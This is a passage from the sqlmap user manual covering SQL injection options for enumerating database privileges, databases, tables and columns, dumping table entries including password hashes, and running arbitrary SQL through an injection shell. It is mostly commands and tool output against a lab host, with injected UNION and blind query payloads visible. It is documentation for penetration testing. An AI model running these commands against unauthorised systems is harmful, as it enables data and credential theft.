    privilege: AQ_USER_ROLE
    privilege: AUTHENTICATEDUSER
    privilege: CONNECT
    privilege: CTXAPP
    privilege: DBA
    privilege: DELETE_CATALOG_ROLE
    privilege: EXECUTE_CATALOG_ROLE
    privilege: EXP_FULL_DATABASE
    privilege: GATHER_SYSTEM_STATISTICS
```

```
    privilege: HS_ADMIN_ROLE
    privilege: IMP_FULL_DATABASE
    privilege: LOGSTDBY_ADMINISTRATOR
    privilege: OEM_ADVISOR
    privilege: OEM_MONITOR
    privilege: PLUSTRACE
    privilege: RECOVERY_CATALOG_OWNER
    privilege: RESOURCE
    privilege: SCHEDULER_ADMIN
    privilege: SELECT_CATALOG_ROLE
    privilege: XDBADMIN
    privilege: XDBWEBSERVICES
[*] SYSTEM (administrator) [2]:
    privilege: AQ_ADMINISTRATOR_ROLE
    privilege: DBA
[*] TSMSYS [1]:
    privilege: RESOURCE
[*] XDB [2]:
    privilege: CTXAPP
    privilege: RESOURCE
```

You can also provide the `-U` option to specify the user who you want to enumerate the privileges.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --privileges \
  -U postgres -v 0

database management system users privileges:
[*] postgres (administrator) [3]:
    privilege: catupd
    privilege: createdb
    privilege: super
```

As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and shows this information next to the username.

If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
  -U CU -v 1

[...]
back-end DBMS: PostgreSQL

[hh:mm:25] [INFO] fetching current user
[hh:mm:25] [INFO] retrieved: postgres
[hh:mm:25] [INFO] fetching database users privileges for current user
[hh:mm:25] [INFO] fetching number of privileges for user 'postgres'
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] fetching privileges for user 'postgres'
[hh:mm:25] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
into distinct queries to be able to retrieve the output even if we are going blind
```

```
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] retrieved: 1
[hh:mm:25] [INFO] retrieved: 1
database management system users privileges:
[*] postgres (administrator) [3]:
    privilege: catupd
    privilege: createdb
    privilege: super
```

Note that this feature is not available if the back-end database management system is Microsoft SQL Server.

5.7.8 Available databases

Option: `--dbs`

It is possible to enumerate the list of databases.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0

available databases [6]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
```

Note that this feature is not available if the back-end database management system is Oracle.

5.7.9 Databases tables

Options: `--tables` and `-D`

It is possible to enumerate the list of tables for all database management system's databases.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0

Database: testdb
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+

Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLLATIONS                            |
| COLUMN_PRIVILEGES                     |
| COLUMNS                               |
```

```
| KEY_COLUMN_USAGE                     |
| PROFILING                            |
| ROUTINES                             |
| SCHEMA_PRIVILEGES                    |
| SCHEMATA                             |
| STATISTICS                           |
| TABLE_CONSTRAINTS                    |
| TABLE_PRIVILEGES                     |
| TABLES                               |
| TRIGGERS                             |
| USER_PRIVILEGES                      |
| VIEWS                                |
+--------------------------------------+

Database: mysql
[17 tables]
+--------------------------------------+
| columns_priv                         |
| db                                   |
| func                                 |
| help_category                        |
| help_keyword                         |
| help_relation                        |
| help_topic                           |
| host                                 |
| proc                                 |
| procs_priv                           |
| tables_priv                          |
| time_zone                            |
| time_zone_leap_second                |
| time_zone_name                       |
| time_zone_transition                 |
| time_zone_transition_type            |
| user                                 |
+--------------------------------------+
```

You can also provide the `-D` option to specify the database that you want to enumerate the tables.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables \
  -D testdb -v 0

Database: testdb
[1 table]
+--------------------------------------+
| users                                |
+--------------------------------------+
```

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --tables \
  -D users -v 0

Database: USERS
```

```
[8 tables]
+------------------+
| DEPARTMENTS      |
| EMPLOYEES        |
| HTMLDB_PLAN_TABLE |
| JOB_HISTORY      |
| JOBS             |
| LOCATIONS        |
| REGIONS          |
| USERS            |
+------------------+
```

Note that on Oracle you have to provide the `TABLESPACE_NAME` instead of the database name. In provided example `users` was used to retrieve all tables owned by an Oracle database management system user.

5.7.10 Database table columns

Options: `--columns`, `-C`, `-T` and `-D`

It is possible to enumerate the list of columns for a specific database table. This functionality depends on the option `-T` to specify the table name and optionally on `-D` to specify the database name.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
  -T users -D testdb -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:20] [INFO] fetching columns for table 'users' on database 'testdb'
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:20] [INFO] retrieved: 3
[hh:mm:20] [INFO] retrieved: id
[hh:mm:20] [INFO] retrieved: int(11)
[hh:mm:21] [INFO] retrieved: name
[hh:mm:21] [INFO] retrieved: varchar(500)
[hh:mm:21] [INFO] retrieved: surname
[hh:mm:21] [INFO] retrieved: varchar(1000)
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
```

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --columns \
  -T users -D master -v 0
```

```
Database: master
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | int     |
| name    | varchar |
| surname | varchar |
+---------+---------+
```

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --columns \
  -T users -D public -v 0

Database: public
Table: users
[3 columns]
+---------+--------+
| Column  | Type   |
+---------+--------+
| id      | int4   |
| name    | bpchar |
| surname | bpchar |
+---------+--------+
```

Note that on PostgreSQL you have to provide `public` or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always `public`.

If the database name is not specified, the current database name is used.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
  -T users -v 1

[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:45] [WARNING] missing database parameter, sqlmap is going to use the current
database to enumerate table 'users' columns
[hh:mm:45] [INFO] fetching current database
[hh:mm:45] [INFO] retrieved: testdb
[hh:mm:45] [INFO] fetching columns for table 'users' on database 'testdb'
[hh:mm:45] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:45] [INFO] retrieved: 3
[hh:mm:45] [INFO] retrieved: id
[hh:mm:45] [INFO] retrieved: int(11)
[hh:mm:46] [INFO] retrieved: name
[hh:mm:46] [INFO] retrieved: varchar(500)
[hh:mm:46] [INFO] retrieved: surname
[hh:mm:46] [INFO] retrieved: varchar(1000)
Database: testdb
```

```
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
```

You can also provide the `-C` option to specify the table columns name like the one you provided to be enumerated.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
  -T users -C name -v 1

[...]
[hh:mm:20] [WARNING] missing database parameter, sqlmap is going to use the current
database to enumerate table 'users' columns
[hh:mm:20] [INFO] fetching current database
[hh:mm:20] [INFO] retrieved: testdb
[hh:mm:20] [INFO] fetching columns like 'name' for table 'users' on database 'testdb'
[hh:mm:20] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:20] [INFO] retrieved: 2
[hh:mm:20] [INFO] retrieved: name
[hh:mm:20] [INFO] retrieved: varchar(500)
[hh:mm:21] [INFO] retrieved: surname
[hh:mm:21] [INFO] retrieved: varchar(1000)
Database: testdb
Table: users
[2 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
```

5.7.11 Dump database table entries

Options: `--dump`, `-C`, `-T`, `-D`, `--start`, `--stop`, `--first` and `--last`

It is possible to dump table entries. This functionality depends on the option `-T` to specify the table name or on the option `-C` to specify the column name and, optionally on `-D` to specify the database name.

If the table name is specified, but the database name is not, the current database name is used.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
  -T users -v 1

[...]
back-end DBMS: MySQL >= 5.0.0
```

```
[hh:mm:41] [WARNING] missing database parameter, sqlmap is going to use the current
database to dump table 'users' entries
[hh:mm:41] [INFO] fetching current database
[hh:mm:41] [INFO] retrieved: testdb
[hh:mm:41] [INFO] fetching columns for table 'users' on database 'testdb'
[hh:mm:41] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:41] [INFO] retrieved: 3
[hh:mm:41] [INFO] retrieved: id
[hh:mm:41] [INFO] retrieved: name
[hh:mm:41] [INFO] retrieved: surname
[hh:mm:41] [INFO] fetching entries for table 'users' on database 'testdb'
[hh:mm:41] [INFO] fetching number of entries for table 'users' on database 'testdb'
[hh:mm:41] [INFO] retrieved: 4
[hh:mm:41] [INFO] retrieved: 1
[hh:mm:42] [INFO] retrieved: luther
[hh:mm:42] [INFO] retrieved: blissett
[hh:mm:42] [INFO] retrieved: 2
[hh:mm:42] [INFO] retrieved: fluffy
[hh:mm:42] [INFO] retrieved: bunny
[hh:mm:42] [INFO] retrieved: 3
[hh:mm:42] [INFO] retrieved: wu
[hh:mm:42] [INFO] retrieved: ming
[hh:mm:43] [INFO] retrieved: 4
[hh:mm:43] [INFO] retrieved:
[hh:mm:43] [INFO] retrieved: nameisnull
Database: testdb
Table: users
[4 entries]
+----+--------+------------+
| id | name   | surname    |
+----+--------+------------+
| 1  | luther | blissett   |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+
```

You can also provide the `-C` option to specify the table column that you want to enumerate the entries.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump \
  -T users -D master -C surname -v 0

Database: master
Table: users
[5 entries]
+------------------+
| surname          |
+------------------+
| blisset          |
| bunny            |
| ming             |
| nameisnull       |
```

```
| user agent header |
+-------------------+
```

If only the column name is specified, sqlmap will enumerate and ask the user to dump all databases' tables containing user provided column(s). This feature can be useful to identify, for instance, tables containing custom application credentials.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
  -C "urna"

[...]
back-end DBMS: MySQL >= 5.0.0

do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names
> 1
[hh:mm:08] [INFO] fetching databases with tables containing columns like 'urna'
[hh:mm:08] [INFO] fetching number of databases with tables containing columns like
'urna'
[hh:mm:08] [INFO] retrieved: 1
[hh:mm:08] [INFO] retrieved: testdb
[hh:mm:10] [INFO] fetching tables containing columns like 'urna' in database 'testdb'
[hh:mm:10] [INFO] fetching number of tables containing columns like 'urna' in
database 'testdb'
[hh:mm:10] [INFO] retrieved: 1
[hh:mm:10] [INFO] retrieved: users
[hh:mm:10] [INFO] fetching columns like 'urna' for table 'users' on database 'testdb'
[hh:mm:10] [INFO] fetching number of columns for table 'users' on database 'testdb'
[hh:mm:10] [INFO] retrieved: 1
[hh:mm:10] [INFO] retrieved: surname
Columns like 'urna' were found in the following databases:
Database: testdb
Table: users
[1 column]
+---------+
| Column  |
+---------+
| surname |
+---------+

do you want to dump entries? [Y/n] y
which database(s)?
[a]ll (default)
[testdb]
[q]uit
>
which table(s) of database 'testdb'?
[a]ll (default)
[users]
[s]kip
[q]uit
>
```

```
[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on
database 'testdb'
[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table
'users' on database 'testdb'
[hh:mm:23] [INFO] retrieved: 4
[hh:mm:23] [INFO] retrieved: blissett
[hh:mm:23] [INFO] retrieved: bunny
[hh:mm:23] [INFO] retrieved: ming
[hh:mm:23] [INFO] retrieved: nameisnull
Database: testdb
Table: users
[4 entries]
+------------+
| surname    |
+------------+
| blissett   |
| bunny      |
| ming       |
| nameisnull |
+------------+
```

sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where sqlmap stores the dumped tables entries by providing a verbosity level greater than or equal to 1.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --dump \
  -T users -D public -v 1

[...]
Database: public
Table: users
[5 entries]
+----+-----------------------------------------------+-------------------+
| id | name                                          | surname           |
+----+-----------------------------------------------+-------------------+
| 1  | luther                                        | blissett          |
| 2  | fluffy                                        | bunny             |
| 3  | wu                                            | ming              |
| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net)    | user agent header |
| 5  |                                               | nameisnull        |
+----+-----------------------------------------------+-------------------+

[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/
172.16.213.131/dump/public/users.csv'
[...]

$ cat ./output/172.16.213.131/dump/public/users.csv
id,name,surname
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
"4","sqlmap/0.8 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
```

You can also provide the `--start` and/or the `--stop` options to limit the dump to a range of entries, while

those entries can be further limited to a range of character positions provided with `--first` and/or the `--last` options:

- `--start` specifies the first entry to enumerate.
- `--stop` specifies the last entry to enumerate.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
  -T users -D testdb --start 2 --stop 4 -v 0

Database: testdb
Table: users
[3 entries]
+----+-----------------------------------------+-------------------+
| id | name                                    | surname           |
+----+-----------------------------------------+-------------------+
| 2  | fluffy                                  | bunny             |
| 3  | wu                                      | ming              |
| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
+----+-----------------------------------------+-------------------+
```

As you can see, sqlmap is very flexible. You can leave it to automatically enumerate the whole database table up to a range of characters of a single column of a specific table entry.

5.7.12 Dump all databases tables entries

Options: `--dump-all` and `--exclude-sysdbs`

It is possible to dump all databases tables entries at once.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0

Database: testdb
Table: users
[5 entries]
+----+-----------------------------------------+-------------------+
| id | name                                    | surname           |
+----+-----------------------------------------+-------------------+
| 1  | luther                                  | blissett          |
| 2  | fluffy                                  | bunny             |
| 3  | wu                                      | ming              |
| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header |
| 5  | NULL                                    | nameisnull        |
+----+-----------------------------------------+-------------------+

Database: information_schema
Table: CHARACTER_SETS
[36 entries]
+--------------------+---------------------+-----------------------------+--------+
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION                | MAXLEN |
+--------------------+---------------------+-----------------------------+--------+
```

```
| tis620             | tis620_thai_ci       | TIS620 Thai                | 1      |
| macroman           | macroman_general_ci  | Mac West European          | 1      |
| dec8               | dec8_swedish_ci      | DEC West European          | 1      |
| ujis               | ujis_japanese_ci     | EUC-JP Japanese            | 3      |
| eucjpms            | eucjpms_japanese_ci  | UJIS for Windows Japanese  | 3      |
| armscii8           | armscii8_general_ci  | ARMSCII-8 Armenian         | 1      |
| ucs2               | ucs2_general_ci      | UCS-2 Unicode              | 2      |
| hp8                | hp8_english_ci       | HP West European           | 1      |
| latin2             | latin2_general_ci    | ISO 8859-2 Central European | 1      |
| koi8u              | koi8u_general_ci     | KOI8-U Ukrainian           | 1      |
| keybcs2            | keybcs2_general_ci   | DOS Kamenicky Czech-Slovak | 1      |
| ascii              | ascii_general_ci     | US ASCII                   | 1      |
| cp866              | cp866_general_ci     | DOS Russian                | 1      |
| cp1256             | cp1256_general_ci    | Windows Arabic             | 1      |
| macce              | macce_general_ci     | Mac Central European       | 1      |
| sjis               | sjis_japanese_ci     | Shift-JIS Japanese         | 2      |
| geostd8            | geostd8_general_ci   | GEOSTD8 Georgian           | 1      |
| cp1257             | cp1257_general_ci    | Windows Baltic             | 1      |
| cp852              | cp852_general_ci     | DOS Central European       | 1      |
| euckr              | euckr_korean_ci      | EUC-KR Korean              | 2      |
| cp1250             | cp1250_general_ci    | Windows Central European   | 1      |
| cp1251             | cp1251_general_ci    | Windows Cyrillic           | 1      |
| binary             | binary               | Binary pseudo charset      | 1      |
| big5               | big5_chinese_ci      | Big5 Traditional Chinese   | 2      |
| gb2312             | gb2312_chinese_ci    | GB2312 Simplified Chinese  | 2      |
| hebrew             | hebrew_general_ci    | ISO 8859-8 Hebrew          | 1      |
| koi8r              | koi8r_general_ci     | KOI8-R Relcom Russian      | 1      |
| greek              | greek_general_ci     | ISO 8859-7 Greek           | 1      |
| cp850              | cp850_general_ci     | DOS West European          | 1      |
| utf8               | utf8_general_ci      | UTF-8 Unicode              | 3      |
| latin1             | latin1_swedish_ci    | cp1252 West European       | 1      |
| latin7             | latin7_general_ci    | ISO 8859-13 Baltic         | 1      |
| cp932              | cp932_japanese_ci    | SJIS for Windows Japanese  | 2      |
| latin5             | latin5_turkish_ci    | ISO 8859-9 Turkish         | 1      |
| swe7               | swe7_swedish_ci      | 7bit Swedish               | 1      |
| gbk                | gbk_chinese_ci       | GBK Simplified Chinese     | 2      |
+--------------------+----------------------+----------------------------+--------+

[...]
```

You can also provide the `--exclude-sysdbs` option to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump-all \
  --exclude-sysdbs -v 0

Database: master
Table: spt_datatype_info_ext
[10 entries]
+----------------+-----------------+-----------+-----------+
| AUTO_INCREMENT | CREATE_PARAMS   | typename  | user_type |
+----------------+-----------------+-----------+-----------+
| 0              | length          | char      | 175       |
```

```
| 0              | precision,scale | numeric    | 108       |
| 0              | max length      | varbinary | 165       |
| 0              | precision,scale | decimal    | 106       |
| 1              | precision       | numeric    | 108       |
| 0              | length          | nchar      | 239       |
| 0              | max length      | nvarchar   | 231       |
| 0              | length          | binary     | 173       |
| 0              | max length      | varchar    | 167       |
| 1              | precision       | decimal    | 106       |
+----------------+-----------------+------------+-----------+

[...]

Database: master
Table: users
[5 entries]
+----+---------------------------------------------+-------------------+
| id | name                                        | surname           |
+----+---------------------------------------------+-------------------+
| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net)  | user agent header |
| 2  | fluffy                                      | bunny             |
| 1  | luther                                      | blisset           |
| 3  | wu                                          | ming              |
| 5  | NULL                                        | nameisnull        |
+----+---------------------------------------------+-------------------+

[...]
```

Note that on Microsoft SQL Server the `master` database is not considered a system database because some database administrators use it as a users' database.

5.7.13 Execute custom SQL statement

Options: `--sql-query` and `--sql-shell`

The SQL query and the SQL shell features makes the user able to execute custom SQL statements on the web application's back-end database management. sqlmap automatically dissects the provided statement, determines which technique to use to inject it and how to pack the SQL payload accordingly.

If it is a `SELECT` statement, sqlmap will retrieve its output through the blind SQL injection or UNION query SQL injection technique depending on the user's options. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system.

Examples on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
```

```
  "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
```

As you can see from the last example, sqlmap splits provided query into two different SELECT statements for it to be able to retrieve the output even in case when using the blind SQL injection technique. Otherwise, in UNION query SQL injection technique it only performs a single HTTP request to get the user's query output:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo', 'bar'" -v 2 --union-use

[...]
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
technique
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
vulnerability
[hh:mm:03] [DEBUG] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
CHAR(116)), NULL-- AND 8373=8373
[hh:mm:03] [DEBUG] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:
[*] foo, bar
```

If your SELECT statement contains a FROM clause, sqlmap asks the user if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to retrieve its whole output, entry per entry, when going through blind SQL injection technique. In provided example, UNION query SQL injection it retrieved the whole output in a single response.

Example on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \
  "SELECT usename FROM pg_user" -v 0

[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries
do you want to retrieve?
```

```
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename FROM pg_user [2]:
[*] postgres
[*] testuser
```

As you can see from the last example, sqlmap counts the number of entries for a given query and asks for number of entries to dump. Otherwise, if the `LIMIT` is also specified, or similar clause, sqlmap will not ask for anything. It will just unpack the query and return its output, entry per entry, when going through blind SQL injection technique. In a given example, sqlmap used UNION query SQL injection to retrieve the whole output in a single response.

Example on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-query \
  "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2

[...]
back-end DBMS:  MySQL >= 5.0.0

[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM
mysql.user LIMIT 1, 3'
[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it
into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 1, 1
[hh:mm:22] [INFO] retrieved: localhost
[hh:mm:22] [DEBUG] performed 69 queries in 0 seconds
[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 1, 1
[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[hh:mm:24] [DEBUG] performed 293 queries in 2 seconds
[hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 2, 1
[hh:mm:24] [INFO] retrieved: localhost
[hh:mm:25] [DEBUG] performed 69 queries in 0 seconds
[hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 2, 1
[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[hh:mm:27] [DEBUG] performed 293 queries in 2 seconds
[hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM
mysql.user LIMIT 3, 1
[hh:mm:27] [INFO] retrieved: localhost
[hh:mm:28] [DEBUG] performed 69 queries in 0 seconds
[hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32))
FROM mysql.user LIMIT 3, 1
[hh:mm:28] [INFO] retrieved:
[hh:mm:28] [DEBUG] performed 6 queries in 0 seconds
SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
[*] localhost,
```

The SQL shell option gives you an access to run your own SQL statement interactively, like a SQL console connected to the back-end database management system. Note that this feature provides TAB completion and history support.

Example of history support on a **PostgreSQL 8.3.5** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0

sql> SELECT 'foo'
SELECT 'foo':    'foo'

sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
sql> SELECT version()
SELECT version():    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'

sql> exit

$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0

sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
```

Example of TAB completion on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0

sql> [TAB TAB]
 LIMIT
(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1))
LIMIT 0, 1)='Y'
AND ORD(MID((%s), %d, 1)) > %d
CAST(%s AS CHAR(10000))
COUNT(%s)
CURRENT_USER()
DATABASE()
IFNULL(%s, ' ')
LENGTH(%s)
LIMIT %d, %d
MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
table_schema='%s'
```

```
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
SELECT table_schema, table_name FROM information_schema.TABLES
SELECT user, password FROM mysql.user
SLEEP(%d)
VERSION()
\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
sql> SE[TAB]
sql> SELECT
```

As you can see the TAB functionality shows the queries defined for the back-end database management system in sqlmap XML queries file, but you can run whatever SELECT statement you want.

Example of asterisk expansion on a **MySQL 5.0.67** target:

```
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \
  -v 2

[...]
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT * FROM test.users
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the
column names itself.
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
